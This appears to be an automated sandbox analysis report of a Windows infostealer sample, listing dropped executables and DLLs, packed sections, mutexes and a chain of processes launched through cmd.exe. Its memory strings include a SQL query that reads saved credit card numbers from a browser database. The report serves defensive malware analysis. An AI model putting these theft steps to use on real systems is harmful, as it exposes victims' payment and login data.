Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59F070	0_2_6C59F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C567810	0_2_6C567810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59B820	0_2_6C59B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A4820	0_2_6C5A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C50C7	0_2_6C5C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57C0E0	0_2_6C57C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5958E0	0_2_6C5958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5860A0	0_2_6C5860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57A940	0_2_6C57A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AB970	0_2_6C5AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CB170	0_2_6C5CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56D960	0_2_6C56D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C595190	0_2_6C595190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B2990	0_2_6C5B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58D9B0	0_2_6C58D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55C9A0	0_2_6C55C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C599A60	0_2_6C599A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C598AC0	0_2_6C598AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C571AF0	0_2_6C571AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59E2F0	0_2_6C59E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CBA90	0_2_6C5CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56CAB0	0_2_6C56CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C2AB0	0_2_6C5C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5522A0	0_2_6C5522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C584AA0	0_2_6C584AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C555340	0_2_6C555340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56C370	0_2_6C56C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59D320	0_2_6C59D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C53C8	0_2_6C5C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55F380	0_2_6C55F380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_0064E410	13_2_0064E410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00683048	13_2_00683048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00644CD0	13_2_00644CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00677D63	13_2_00677D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_0068763B	13_2_0068763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00686EE9	13_2_00686EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00644AD0	13_2_00644AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_0068775B	13_2_0068775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00688700	13_2_00688700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_00682BB0	13_2_00682BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50000	14_2_7ED50000
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED5080C	14_2_7ED5080C

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C58CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5994D0 appears 90 times

Source: file.exe, 00000000.00000002.2450878675.0000000001C4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCm vs file.exe
Source: file.exe, 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2482675409.000000006C7D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000003.2449039751.0000000001C4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCm vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995712652439024
Source: file.exe	Static PE information: Section: ZLIB complexity 0.9920654296875
Source: file.exe	Static PE information: Section: ZLIB complexity 0.9898681640625
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: amadka[1].exe.0.dr	Static PE information: Section: aosuufqe ZLIB complexity 0.9944158700796274
Source: CFBAKEHIEB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: CFBAKEHIEB.exe.0.dr	Static PE information: Section: aosuufqe ZLIB complexity 0.9944158700796274
Source: explorti.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: explorti.exe.7.dr	Static PE information: Section: aosuufqe ZLIB complexity 0.9944158700796274
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.9995712652439024
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.9920654296875
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.9898681640625
Source: 0244247334.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9995712652439024
Source: 0244247334.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9920654296875
Source: 0244247334.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9898681640625

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@50/68@8/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C5B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1772:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4612:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2342061911.0000000023481000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2322457634.0000000001B51000.00000004.00000020.00020000.00000000.sdmp, BFBGHDGCFHIDBGDGIIIE.0.dr, GHDBKFHIJKJKECAAAECA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2481986032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467277602.000000001D3AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: CFBAKEHIEB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\DAFHIDGIJK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe "C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe"
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe "C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe"
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5504 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\DAFHIDGIJK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe "C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe "C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5504 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
